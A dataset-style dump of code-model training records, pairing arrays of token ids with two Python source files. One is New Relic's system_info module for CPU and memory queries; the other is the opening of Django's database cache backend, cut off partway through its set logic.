[ 2647, 15, 1393, 15, 1813, 2366, 199, 3, 199, 3, 1898, 7129, 4475, 3277, 14, 199, 3, 199, 3, 3909, 1334, 314, 3668, 844, 12, 3394, 499, 14, 16, 334, 1589, 298, 3761, 3547, 199, 3, 1265, 1443, 440, 675, 642, 570, 871, 315, 4151, 543, 314, 844, 14, 199, 3, 2047, 1443, 3332, 282, 1331, 402, 314, 844, 737, 199, 3, 199, 3, 258, 1455, 921, 1544, 14, 3796, 14, 1308, 15, 2383, 15, 3961, 13, 18, 14, 16, 199, 3, 199, 3, 4158, 1415, 701, 3964, 4179, 503, 4193, 370, 315, 3575, 12, 2032, 199, 3, 1854, 1334, 314, 844, 365, 1854, 641, 376, 298, 1179, 2281, 2, 4207, 12, 199, 3, 2428, 2990, 1549, 4217, 1634, 1821, 3826, 12, 1902, 4056, 503, 2478, 14, 199, 3, 1666, 314, 844, 367, 314, 2488, 2637, 4210, 3443, 436, 199, 3, 4204, 1334, 314, 844, 14, 199, 199, 624, 23891, 1324, 7002, 83, 367, 9672, 21822, 1041, 4388, 199, 363, 452, 363, 275, 359, 272, 298, 8458, 30444, 3205, 5929, 401, 272, 298, 12231, 63, 8936, 7217, 401, 272, 298, 5725, 5929, 6007, 547, 401, 272, 298, 16799, 1617, 3049, 3205, 5929, 401, 272, 298, 16799, 1617, 8674, 3205, 5929, 401, 272, 298, 16799, 1617, 8674, 3049, 3205, 5929, 401, 272, 298, 23049, 63, 2090, 63, 5670, 63, 20352, 401, 272, 298, 23049, 63, 2090, 63, 5670, 63, 45, 15048, 401, 272, 298, 714, 6082, 1197, 5929, 401, 272, 298, 30444, 7302, 3205, 5929, 401, 272, 298, 30444, 3205, 5929, 401, 272, 298, 30444, 1197, 3205, 5929, 401, 272, 298, 547, 401, 272, 298, 3205, 5929, 401, 272, 298, 2445, 3205, 5929, 401, 272, 298, 8814, 3205, 5929, 401, 272, 298, 14941, 5929, 401, 272, 1622, 199, 199, 3, 4287, 26, 3507, 13, 1328, 29, 35, 772, 1643, 199, 199, 646, 1300, 772, 199, 646, 1331, 199, 646, 2050, 199, 646, 5228, 199, 646, 900, 199, 646, 10392, 199, 199, 504, 6233, 14, 846, 14, 2625, 492, 11557, 3299, 199, 504, 6233, 14, 15358, 14, 1246, 492, 12007, 199, 504, 2341, 5270, 14, 773, 492, 1584, 199, 504, 6233, 14, 15358, 14, 1246, 492, 943, 1364, 199, 504, 2341, 5270, 14, 773, 14, 1725, 492, 5767, 199, 504, 6233, 14, 15358, 14, 1246, 14, 793, 1364, 492, 943, 63, 1364, 63, 3317, 199, 504, 6233, 14, 15358, 14, 11450, 492, 12007, 63, 1131, 199, 504, 6233, 14, 15358, 14, 11450, 492, 12007, 63, 4354, 199, 504, 6233, 14, 15358, 14, 832, 492, 9182, 1617, 199, 504, 6233, 14, 15358, 14, 832, 492, 1592, 199, 504, 2341, 5270, 14, 773, 492, 790, 63, 1842, 199, 504, 6233, 14, 15358, 14, 832, 14, 697, 492, 3341, 199, 504, 2341, 5270, 492, 1067, 199, 504, 2341, 5270, 492, 2552, 199, 504, 2341, 5270, 492, 1402, 199, 504, 2341, 5270, 492, 3231, 63, 1842, 199, 504, 2341, 5270, 492, 3439, 199, 504, 2341, 5270, 492, 4884, 421, 199, 3, 27939, 12155, 370, 2552, 859, 14, 29622, 5299, 2348, 367, 7163, 14, 199, 547, 275, 2552, 14, 547, 199, 5725, 5929, 6007, 547, 275, 2552, 14, 5725, 5929, 6007, 547, 421, 199, 3, 14427, 536, 367, 1329, 402, 2783, 1586, 14, 199, 23049, 63, 2090, 63, 5670, 63, 20352, 275, 298, 2308, 13, 739, 13, 2394, 2, 199, 199, 3, 14427, 536, 367, 21131, 2249, 484, 7664, 666, 14, 199, 23049, 63, 2090, 63, 5670, 63, 45, 15048, 275, 298, 2308, 13, 739, 13, 19764, 2, 199, 199, 3, 12568, 574, 626, 883, 506, 28653, 701, 6924, 5929, 83, 340, 2985, 2934, 370, 8120, 314, 199, 3, 10059, 376, 30914, 370, 3354, 314, 1174, 402, 314, 2341, 5270, 1928, 9445, 199, 3, 370, 1995, 376, 3503, 574, 370, 314, 3016, 14, 199, 12231, 63, 8936, 7217, 275, 909, 342, 421, 199, 533, 6924, 5929, 8, 1238, 14, 9653, 4256, 304, 523, 408, 8458, 1300, 1021, 367, 1324, 7002, 83, 14, 819, 6924, 5929, 83, 1172, 314, 2569, 4382, 26, 2043, 627, 9322, 787, 2737, 701, 1808, 314, 3715, 63, 1210, 1083, 370, 3550, 282, 663, 402, 1362, 6924, 5929, 83, 687, 282, 9672, 529, 5307, 14, 2043, 627, 9322, 3550, 4153, 370, 314, 7796, 4799, 314, 6122, 3217, 14, 2043, 627, 12836, 7143, 12, 2985, 883, 506, 6380, 436, 14604, 68, 1808, 314, 14587, 4256, 1362, 3217, 14, 2043, 627, 9322, 787, 9106, 370, 1059, 367, 282, 922, 13, 11875, 1369, 27, 652, 1443, 506, 1362, 1139, 85, 461, 370, 5669, 636, 495, 4343, 523, 408, 819, 327, 3979, 6544, 63, 3214, 365, 756, 12, 2066, 574, 28653, 701, 7002, 365, 3032, 523, 327, 370, 3016, 465, 365, 14, 982, 652, 1159, 2549, 12, 2066, 627, 585, 365, 3032, 12, 6544, 316, 2368, 523, 327, 436, 4691, 1337, 3016, 506, 282, 3510, 13, 5329, 805, 14, 523, 6544, 63, 3214, 275, 756, 819, 327, 9672, 5270, 2633, 14, 523, 485, 7121, 63, 7258, 275, 2668, 571, 2, 523, 26149, 9136, 63, 7258, 275, 298, 3251, 2, 523, 26149, 7613, 21287, 63, 7258, 275, 298, 9247, 2, 221, 327, 17985, 15445, 14, 819, 347, 636, 1661, 721, 277, 304, 272, 372, 291, 819, 347, 2163, 8, 277, 304, 272, 408, 3407, 314, 2163, 1324, 687, 642, 1324, 7002, 465, 282, 790, 12, 574, 4092, 14, 339, 1803, 26, 489, 710, 2163, 1324, 687, 642, 1324, 7002, 14, 272, 408, 272, 746, 4279, 480, 2184, 342, 440, 6366, 315, 450, 83, 2, 450, 291, 855, 533, 3368, 819, 768, 3744, 523, 347, 687, 63, 1001, 8, 1886, 12, 1324, 63, 10810, 63, 929, 304, 272, 408, 10607, 376, 1256, 402, 314, 6924, 5929, 367, 314, 1627, 1324, 11814, 1174, 14, 339, 3033, 26, 489, 1324, 63, 10810, 63, 929, 26, 710, 6924, 5929, 1174, 465, 282, 1211, 13, 2930, 909, 14, 339, 1803, 26, 489, 1626, 1256, 402, 314, 6924, 5929, 7526, 1808, 314, 1338, 402, 2022, 14, 272, 408, 272, 746, 4279, 480, 504, 63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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PulsePod/evepod
lib/python2.7/site-packages/newrelic-2.12.0.10/newrelic/common/system_info.py
2
6218
"""This module implements functions for querying properties of the operating system or for the specific process the code is running in. """ import os import sys import multiprocessing import re try: import resource except ImportError: pass def cpu_count(): """Returns the number of CPUs in the system. """ # The multiprocessing module provides support for Windows, # BSD systems (including MacOS X) and systems which support # the POSIX API for querying the number of CPUs. try: return multiprocessing.cpu_count() except NotImplementedError: pass # For Jython, we need to query the Java runtime environment. try: from java.lang import Runtime runtime = Runtime.getRuntime() res = runtime.availableProcessors() if res > 0: return res except ImportError: pass # Assuming that Solaris will support POSIX API for querying # the number of CPUs. Just in case though, work it out by # looking at the devices corresponding to the available CPUs. try: pseudoDevices = os.listdir('/devices/pseudo/') expr = re.compile('^cpuid@[0-9]+$') res = 0 for pd in pseudoDevices: if expr.match(pd) != None: res += 1 if res > 0: return res except OSError: pass # Fallback to assuming only a single CPU. return 1 def memory_total(): """Returns the total physical memory available in the system. """ # For Linux we can determine it from the proc filesystem. if sys.platform == 'linux2': try: parser = re.compile(r'^(?P<key>\S*):\s*(?P<value>\d*)\s*kB') fp = None try: fp = open('/proc/meminfo') for line in fp.readlines(): match = parser.match(line) if not match: continue key, value = match.groups(['key', 'value']) if key == 'MemTotal': memory_bytes = float(value) * 1024 return memory_bytes / (1024*1024) except Exception: pass finally: if fp: fp.close() except IOError: pass # For other platforms, how total system memory is calculated varies # and can't always be done using just what is available in the # Python standard library. Take a punt here and see if 'psutil' is # available and use the value it generates for total memory. We # simply ignore any exception that may occur because even though # psutil may be available it can fail badly if used on a # containerised Linux hosting service where they don't for example # make the /proc filesystem available. # NOTE Although now ignore any exceptions which can result if psutil # fails, in most cases never get here and if we do likely will still # fail. Only case where might get used is Solaris and have so few # deploys for that is likely not worth it at this point. #try: # import psutil # return psutil.virtual_memory().total #except Exception: # pass return 0 def memory_used(): """Returns the memory used in MBs. Calculated differently depending on the platform and designed for informational purposes only. """ # For Linux use the proc filesystem. Use 'statm' as easier # to parse than 'status' file. # # /proc/[number]/statm # Provides information about memory usage, measured # in pages. The columns are: # # size total program size # (same as VmSize in /proc/[number]/status) # resident resident set size # (same as VmRSS in /proc/[number]/status) # share shared pages (from shared mappings) # text text (code) # lib library (unused in Linux 2.6) # data data + stack # dt dirty pages (unused in Linux 2.6) if sys.platform == 'linux2': pid = os.getpid() statm = '/proc/%d/statm' % pid fp = None try: fp = open(statm, 'r') rss_pages = float(fp.read().split()[1]) memory_bytes = rss_pages * resource.getpagesize() return memory_bytes / (1024*1024) except Exception: pass finally: if fp: fp.close() # Try using getrusage() if we have the resource module # available. The units returned can differ based on # platform. Assume 1024 byte blocks as default. Some # platforms such as Solaris will report zero for # 'ru_maxrss', so we skip those. try: rusage = resource.getrusage(resource.RUSAGE_SELF) except NameError: pass else: if sys.platform == 'darwin': # On MacOS X, despite the manual page saying the # value is in kilobytes, it is actually in bytes. memory_bytes = float(rusage.ru_maxrss) return memory_bytes / (1024*1024) elif rusage.ru_maxrss > 0: memory_kbytes = float(rusage.ru_maxrss) return memory_kbytes / 1024 # For other platforms, how used memory is calculated varies # and can't always be done using just what is available in # the Python standard library. Take a punt here and see if # 'psutil' is available and use the value it generates for # total memory. # NOTE This is currently not used as this isn't generally # going to return resident memory usage (RSS) and what it # does return can be very much greater than what one would # expect. As a result it can be misleading/confusing and so # figure it is best not to use it. #try: # import psutil # memory_bytes = psutil.virtual_memory().used # return memory_bytes / (1024*1024) #except ImportError, AttributeError: # pass # Fallback to indicating no memory usage. return 0
apache-2.0
[ 624, 2765, 859, 9031, 3423, 367, 27405, 4382, 402, 314, 17406, 199, 2253, 503, 367, 314, 2488, 2112, 314, 1233, 365, 3879, 315, 14, 199, 199, 624, 199, 199, 646, 747, 199, 646, 984, 199, 646, 12866, 199, 646, 295, 199, 199, 893, 26, 272, 492, 2073, 199, 2590, 3545, 26, 272, 986, 199, 199, 318, 5033, 63, 835, 837, 272, 408, 3407, 314, 1329, 402, 28504, 315, 314, 2656, 14, 339, 408, 339, 327, 710, 12866, 859, 6571, 2291, 367, 5417, 12, 272, 327, 6289, 10460, 334, 15768, 10444, 3100, 1323, 9, 436, 10460, 1314, 2291, 272, 327, 314, 18169, 3261, 367, 27405, 314, 1329, 402, 28504, 14, 339, 862, 26, 267, 372, 12866, 14, 3541, 63, 835, 342, 272, 871, 4279, 26, 267, 986, 339, 327, 2104, 25333, 12, 781, 1929, 370, 1827, 314, 9586, 8836, 3734, 14, 339, 862, 26, 267, 687, 12120, 14, 4159, 492, 19103, 267, 8836, 275, 19103, 14, 362, 14357, 342, 267, 522, 275, 8836, 14, 4561, 3498, 1384, 342, 267, 340, 522, 690, 378, 26, 288, 372, 522, 272, 871, 3545, 26, 267, 986, 339, 327, 10829, 12848, 626, 17991, 4663, 911, 2291, 18169, 3261, 367, 27405, 272, 327, 314, 1329, 402, 28504, 14, 13870, 315, 1930, 10617, 12, 1736, 652, 734, 701, 272, 327, 10023, 737, 314, 7256, 5226, 370, 314, 2808, 28504, 14, 339, 862, 26, 267, 15984, 18204, 275, 747, 14, 7374, 2336, 6410, 15, 22490, 6217, 267, 5348, 275, 295, 14, 2014, 9097, 1850, 1535, 32, 59, 16, 13, 25, 2807, 9988, 398, 522, 275, 378, 267, 367, 6454, 315, 15984, 18204, 26, 288, 340, 5348, 14, 1431, 8, 8961, 9, 1137, 488, 26, 355, 522, 847, 413, 398, 340, 522, 690, 378, 26, 288, 372, 522, 272, 871, 6440, 26, 267, 986, 339, 327, 481, 5421, 370, 18002, 1454, 282, 2849, 11952, 14, 339, 372, 413, 199, 199, 318, 4402, 63, 2923, 837, 272, 408, 3407, 314, 3141, 14095, 4402, 2808, 315, 314, 2656, 14, 339, 408, 339, 327, 2104, 10130, 781, 883, 6705, 652, 687, 314, 6499, 10036, 14, 339, 340, 984, 14, 3246, 508, 283, 5135, 18, 356, 267, 862, 26, 288, 1798, 275, 295, 14, 2014, 8, 82, 24550, 48, 28, 498, 3072, 51, 10, 17211, 83, 30957, 48, 28, 585, 3072, 68, 10, 2862, 83, 10, 75, 34, 358, 953, 4090, 275, 488, 953, 862, 26, 355, 4090, 275, 1551, 2336, 4687, 15, 5286, 815, 358, 2234, 367, 1004, 315, 4090, 14, 9684, 837, 490, 1336, 275, 1798, 14, 1431, 8, 604, 9, 490, 340, 440, 1336, 26, 717, 1980, 490, 790, 12, 574, 275, 1336, 14, 2634, 2941, 498, 297, 283, 585, 1105, 490, 340, 790, 508, 283, 14169, 7316, 356, 717, 4402, 63, 2394, 275, 2069, 8, 585, 9, 627, 6619, 717, 372, 4402, 63, 2394, 1182, 334, 7727, 10, 7727, 9, 953, 871, 2186, 26, 355, 986, 953, 3753, 26, 355, 340, 4090, 26, 490, 4090, 14, 1600, 342, 398, 871, 5925, 26, 288, 986, 339, 327, 2104, 1163, 10677, 12, 4212, 3141, 2656, 4402, 365, 12950, 373, 3433, 272, 327, 436, 883, 1133, 3544, 506, 4224, 1808, 2951, 4052, 365, 2808, 315, 314, 272, 327, 2018, 4465, 3555, 14, 18146, 282, 299, 638, 2348, 436, 1937, 340, 283, 31903, 7, 365, 272, 327, 2808, 436, 675, 314, 574, 652, 12821, 367, 3141, 4402, 14, 2136, 272, 327, 9329, 3686, 1263, 1919, 626, 1443, 4781, 2952, 2755, 10617, 272, 327, 22214, 1443, 506, 2808, 652, 883, 2449, 4875, 590, 340, 1202, 641, 282, 272, 327, 3970, 9096, 10130, 1591, 316, 2435, 2382, 2985, 2793, 1133, 367, 2893, 272, 327, 1852, 314, 1182, 4687, 10036, 2808, 14, 339, 327, 6944, 4580, 15401, 3063, 3686, 1263, 4967, 1314, 883, 754, 340, 22214, 272, 327, 6918, 12, 315, 4750, 5560, 7078, 664, 2348, 436, 340, 781, 886, 12060, 911, 5139, 272, 327, 2449, 14, 5972, 1930, 2382, 5594, 664, 1202, 365, 17991, 4663, 436, 1172, 880, 9284, 272, 327, 2657, 320, 588, 367, 626, 365, 12060, 440, 25235, 652, 737, 642, 2376, 14, 339, 327, 893, 26, 272, 327, 259, 492, 22214, 272, 327, 259, 372, 22214, 14, 2065, 63, 4844, 1252, 2923, 272, 327, 2590, 2186, 26, 272, 327, 259, 986, 339, 372, 378, 199, 199, 318, 4402, 63, 2972, 837, 272, 408, 3407, 314, 4402, 1202, 315, 19487, 83, 14, 19821, 972, 23142, 10298, 272, 641, 314, 4298, 436, 19829, 367, 2556, 279, 12901, 1454, 14, 339, 408, 339, 327, 2104, 10130, 675, 314, 6499, 10036, 14, 3645, 283, 3736, 77, 7, 465, 14905, 272, 327, 370, 2198, 2419, 283, 1205, 7, 570, 14, 272, 327, 272, 327, 257, 1182, 4687, 32418, 1955, 12978, 3736, 77, 272, 327, 3515, 21552, 2556, 3595, 4402, 4503, 12, 27396, 272, 327, 3515, 315, 6497, 14, 710, 4362, 787, 26, 272, 327, 272, 327, 4519, 1568, 755, 3141, 2240, 1568, 272, 327, 12793, 334, 7191, 465, 812, 77, 2320, 315, 1182, 4687, 32418, 1955, 12978, 1205, 9, 272, 327, 4519, 28633, 1326, 257, 28633, 1326, 663, 1568, 272, 327, 12793, 334, 7191, 465, 812, 77, 22786, 315, 1182, 4687, 32418, 1955, 12978, 1205, 9, 272, 327, 4519, 8663, 420, 5709, 6497, 334, 504, 5709, 13546, 9, 272, 327, 4519, 1318, 755, 1318, 334, 600, 9, 272, 327, 4519, 1973, 263, 3555, 334, 8618, 315, 10130, 499, 14, 22, 9, 272, 327, 4519, 666, 755, 666, 435, 3464, 272, 327, 4519, 4487, 260, 14650, 6497, 334, 8618, 315, 10130, 499, 14, 22, 9, 339, 340, 984, 14, 3246, 508, 283, 5135, 18, 356, 267, 4422, 275, 747, 14, 17829, 342, 267, 5672, 77, 275, 1994, 4687, 3149, 68, 15, 3736, 77, 7, 450, 4422, 267, 4090, 275, 488, 398, 862, 26, 288, 4090, 275, 1551, 8, 3736, 77, 12, 283, 82, 358, 288, 32291, 63, 5856, 275, 2069, 8, 3997, 14, 739, 1252, 1294, 3430, 17, 566, 288, 4402, 63, 2394, 275, 32291, 63, 5856, 627, 2073, 14, 362, 1606, 890, 342, 288, 372, 4402, 63, 2394, 1182, 334, 7727, 10, 7727, 9, 267, 871, 2186, 26, 288, 986, 267, 3753, 26, 288, 340, 4090, 26, 355, 4090, 14, 1600, 342, 339, 327, 7649, 1808, 664, 82, 3807, 342, 340 ]
[ 2765, 859, 9031, 3423, 367, 27405, 4382, 402, 314, 17406, 199, 2253, 503, 367, 314, 2488, 2112, 314, 1233, 365, 3879, 315, 14, 199, 199, 624, 199, 199, 646, 747, 199, 646, 984, 199, 646, 12866, 199, 646, 295, 199, 199, 893, 26, 272, 492, 2073, 199, 2590, 3545, 26, 272, 986, 199, 199, 318, 5033, 63, 835, 837, 272, 408, 3407, 314, 1329, 402, 28504, 315, 314, 2656, 14, 339, 408, 339, 327, 710, 12866, 859, 6571, 2291, 367, 5417, 12, 272, 327, 6289, 10460, 334, 15768, 10444, 3100, 1323, 9, 436, 10460, 1314, 2291, 272, 327, 314, 18169, 3261, 367, 27405, 314, 1329, 402, 28504, 14, 339, 862, 26, 267, 372, 12866, 14, 3541, 63, 835, 342, 272, 871, 4279, 26, 267, 986, 339, 327, 2104, 25333, 12, 781, 1929, 370, 1827, 314, 9586, 8836, 3734, 14, 339, 862, 26, 267, 687, 12120, 14, 4159, 492, 19103, 267, 8836, 275, 19103, 14, 362, 14357, 342, 267, 522, 275, 8836, 14, 4561, 3498, 1384, 342, 267, 340, 522, 690, 378, 26, 288, 372, 522, 272, 871, 3545, 26, 267, 986, 339, 327, 10829, 12848, 626, 17991, 4663, 911, 2291, 18169, 3261, 367, 27405, 272, 327, 314, 1329, 402, 28504, 14, 13870, 315, 1930, 10617, 12, 1736, 652, 734, 701, 272, 327, 10023, 737, 314, 7256, 5226, 370, 314, 2808, 28504, 14, 339, 862, 26, 267, 15984, 18204, 275, 747, 14, 7374, 2336, 6410, 15, 22490, 6217, 267, 5348, 275, 295, 14, 2014, 9097, 1850, 1535, 32, 59, 16, 13, 25, 2807, 9988, 398, 522, 275, 378, 267, 367, 6454, 315, 15984, 18204, 26, 288, 340, 5348, 14, 1431, 8, 8961, 9, 1137, 488, 26, 355, 522, 847, 413, 398, 340, 522, 690, 378, 26, 288, 372, 522, 272, 871, 6440, 26, 267, 986, 339, 327, 481, 5421, 370, 18002, 1454, 282, 2849, 11952, 14, 339, 372, 413, 199, 199, 318, 4402, 63, 2923, 837, 272, 408, 3407, 314, 3141, 14095, 4402, 2808, 315, 314, 2656, 14, 339, 408, 339, 327, 2104, 10130, 781, 883, 6705, 652, 687, 314, 6499, 10036, 14, 339, 340, 984, 14, 3246, 508, 283, 5135, 18, 356, 267, 862, 26, 288, 1798, 275, 295, 14, 2014, 8, 82, 24550, 48, 28, 498, 3072, 51, 10, 17211, 83, 30957, 48, 28, 585, 3072, 68, 10, 2862, 83, 10, 75, 34, 358, 953, 4090, 275, 488, 953, 862, 26, 355, 4090, 275, 1551, 2336, 4687, 15, 5286, 815, 358, 2234, 367, 1004, 315, 4090, 14, 9684, 837, 490, 1336, 275, 1798, 14, 1431, 8, 604, 9, 490, 340, 440, 1336, 26, 717, 1980, 490, 790, 12, 574, 275, 1336, 14, 2634, 2941, 498, 297, 283, 585, 1105, 490, 340, 790, 508, 283, 14169, 7316, 356, 717, 4402, 63, 2394, 275, 2069, 8, 585, 9, 627, 6619, 717, 372, 4402, 63, 2394, 1182, 334, 7727, 10, 7727, 9, 953, 871, 2186, 26, 355, 986, 953, 3753, 26, 355, 340, 4090, 26, 490, 4090, 14, 1600, 342, 398, 871, 5925, 26, 288, 986, 339, 327, 2104, 1163, 10677, 12, 4212, 3141, 2656, 4402, 365, 12950, 373, 3433, 272, 327, 436, 883, 1133, 3544, 506, 4224, 1808, 2951, 4052, 365, 2808, 315, 314, 272, 327, 2018, 4465, 3555, 14, 18146, 282, 299, 638, 2348, 436, 1937, 340, 283, 31903, 7, 365, 272, 327, 2808, 436, 675, 314, 574, 652, 12821, 367, 3141, 4402, 14, 2136, 272, 327, 9329, 3686, 1263, 1919, 626, 1443, 4781, 2952, 2755, 10617, 272, 327, 22214, 1443, 506, 2808, 652, 883, 2449, 4875, 590, 340, 1202, 641, 282, 272, 327, 3970, 9096, 10130, 1591, 316, 2435, 2382, 2985, 2793, 1133, 367, 2893, 272, 327, 1852, 314, 1182, 4687, 10036, 2808, 14, 339, 327, 6944, 4580, 15401, 3063, 3686, 1263, 4967, 1314, 883, 754, 340, 22214, 272, 327, 6918, 12, 315, 4750, 5560, 7078, 664, 2348, 436, 340, 781, 886, 12060, 911, 5139, 272, 327, 2449, 14, 5972, 1930, 2382, 5594, 664, 1202, 365, 17991, 4663, 436, 1172, 880, 9284, 272, 327, 2657, 320, 588, 367, 626, 365, 12060, 440, 25235, 652, 737, 642, 2376, 14, 339, 327, 893, 26, 272, 327, 259, 492, 22214, 272, 327, 259, 372, 22214, 14, 2065, 63, 4844, 1252, 2923, 272, 327, 2590, 2186, 26, 272, 327, 259, 986, 339, 372, 378, 199, 199, 318, 4402, 63, 2972, 837, 272, 408, 3407, 314, 4402, 1202, 315, 19487, 83, 14, 19821, 972, 23142, 10298, 272, 641, 314, 4298, 436, 19829, 367, 2556, 279, 12901, 1454, 14, 339, 408, 339, 327, 2104, 10130, 675, 314, 6499, 10036, 14, 3645, 283, 3736, 77, 7, 465, 14905, 272, 327, 370, 2198, 2419, 283, 1205, 7, 570, 14, 272, 327, 272, 327, 257, 1182, 4687, 32418, 1955, 12978, 3736, 77, 272, 327, 3515, 21552, 2556, 3595, 4402, 4503, 12, 27396, 272, 327, 3515, 315, 6497, 14, 710, 4362, 787, 26, 272, 327, 272, 327, 4519, 1568, 755, 3141, 2240, 1568, 272, 327, 12793, 334, 7191, 465, 812, 77, 2320, 315, 1182, 4687, 32418, 1955, 12978, 1205, 9, 272, 327, 4519, 28633, 1326, 257, 28633, 1326, 663, 1568, 272, 327, 12793, 334, 7191, 465, 812, 77, 22786, 315, 1182, 4687, 32418, 1955, 12978, 1205, 9, 272, 327, 4519, 8663, 420, 5709, 6497, 334, 504, 5709, 13546, 9, 272, 327, 4519, 1318, 755, 1318, 334, 600, 9, 272, 327, 4519, 1973, 263, 3555, 334, 8618, 315, 10130, 499, 14, 22, 9, 272, 327, 4519, 666, 755, 666, 435, 3464, 272, 327, 4519, 4487, 260, 14650, 6497, 334, 8618, 315, 10130, 499, 14, 22, 9, 339, 340, 984, 14, 3246, 508, 283, 5135, 18, 356, 267, 4422, 275, 747, 14, 17829, 342, 267, 5672, 77, 275, 1994, 4687, 3149, 68, 15, 3736, 77, 7, 450, 4422, 267, 4090, 275, 488, 398, 862, 26, 288, 4090, 275, 1551, 8, 3736, 77, 12, 283, 82, 358, 288, 32291, 63, 5856, 275, 2069, 8, 3997, 14, 739, 1252, 1294, 3430, 17, 566, 288, 4402, 63, 2394, 275, 32291, 63, 5856, 627, 2073, 14, 362, 1606, 890, 342, 288, 372, 4402, 63, 2394, 1182, 334, 7727, 10, 7727, 9, 267, 871, 2186, 26, 288, 986, 267, 3753, 26, 288, 340, 4090, 26, 355, 4090, 14, 1600, 342, 339, 327, 7649, 1808, 664, 82, 3807, 342, 340, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
Bashar/django
django/core/cache/backends/db.py
80
8853
"Database cache backend." import base64 from datetime import datetime try: from django.utils.six.moves import cPickle as pickle except ImportError: import pickle from django.conf import settings from django.core.cache.backends.base import BaseCache, DEFAULT_TIMEOUT from django.db import connections, transaction, router, DatabaseError from django.db.backends.utils import typecast_timestamp from django.utils import timezone, six from django.utils.encoding import force_bytes class Options(object): """A class that will quack like a Django model _meta class. This allows cache operations to be controlled by the router """ def __init__(self, table): self.db_table = table self.app_label = 'django_cache' self.model_name = 'cacheentry' self.verbose_name = 'cache entry' self.verbose_name_plural = 'cache entries' self.object_name = 'CacheEntry' self.abstract = False self.managed = True self.proxy = False class BaseDatabaseCache(BaseCache): def __init__(self, table, params): BaseCache.__init__(self, params) self._table = table class CacheEntry(object): _meta = Options(table) self.cache_model_class = CacheEntry class DatabaseCache(BaseDatabaseCache): # This class uses cursors provided by the database connection. This means # it reads expiration values as aware or naive datetimes depending on the # value of USE_TZ. They must be compared to aware or naive representations # of "now" respectively. # But it bypasses the ORM for write operations. As a consequence, aware # datetimes aren't made naive for databases that don't support time zones. # We work around this problem by always using naive datetimes when writing # expiration values, in UTC when USE_TZ = True and in local time otherwise. def get(self, key, default=None, version=None): key = self.make_key(key, version=version) self.validate_key(key) db = router.db_for_read(self.cache_model_class) table = connections[db].ops.quote_name(self._table) with connections[db].cursor() as cursor: cursor.execute("SELECT cache_key, value, expires FROM %s " "WHERE cache_key = %%s" % table, [key]) row = cursor.fetchone() if row is None: return default now = timezone.now() expires = row[2] if connections[db].features.needs_datetime_string_cast and not isinstance(expires, datetime): # Note: typecasting is needed by some 3rd party database backends. # All core backends work without typecasting, so be careful about # changes here - test suite will NOT pick regressions here. expires = typecast_timestamp(str(expires)) if expires < now: db = router.db_for_write(self.cache_model_class) with connections[db].cursor() as cursor: cursor.execute("DELETE FROM %s " "WHERE cache_key = %%s" % table, [key]) return default value = connections[db].ops.process_clob(row[1]) return pickle.loads(base64.b64decode(force_bytes(value))) def set(self, key, value, timeout=DEFAULT_TIMEOUT, version=None): key = self.make_key(key, version=version) self.validate_key(key) self._base_set('set', key, value, timeout) def add(self, key, value, timeout=DEFAULT_TIMEOUT, version=None): key = self.make_key(key, version=version) self.validate_key(key) return self._base_set('add', key, value, timeout) def _base_set(self, mode, key, value, timeout=DEFAULT_TIMEOUT): timeout = self.get_backend_timeout(timeout) db = router.db_for_write(self.cache_model_class) table = connections[db].ops.quote_name(self._table) with connections[db].cursor() as cursor: cursor.execute("SELECT COUNT(*) FROM %s" % table) num = cursor.fetchone()[0] now = timezone.now() now = now.replace(microsecond=0) if timeout is None: exp = datetime.max elif settings.USE_TZ: exp = datetime.utcfromtimestamp(timeout) else: exp = datetime.fromtimestamp(timeout) exp = exp.replace(microsecond=0) if num > self._max_entries: self._cull(db, cursor, now) pickled = pickle.dumps(value, pickle.HIGHEST_PROTOCOL) b64encoded = base64.b64encode(pickled) # The DB column is expecting a string, so make sure the value is a # string, not bytes. Refs #19274. if six.PY3: b64encoded = b64encoded.decode('latin1') try: # Note: typecasting for datetimes is needed by some 3rd party # database backends. All core backends work without typecasting, # so be careful about changes here - test suite will NOT pick # regressions. with transaction.atomic(using=db): cursor.execute("SELECT cache_key, expires FROM %s " "WHERE cache_key = %%s" % table, [key]) result = cursor.fetchone() if result: current_expires = result[1] if (connections[db].features.needs_datetime_string_cast and not isinstance(current_expires, datetime)): current_expires = 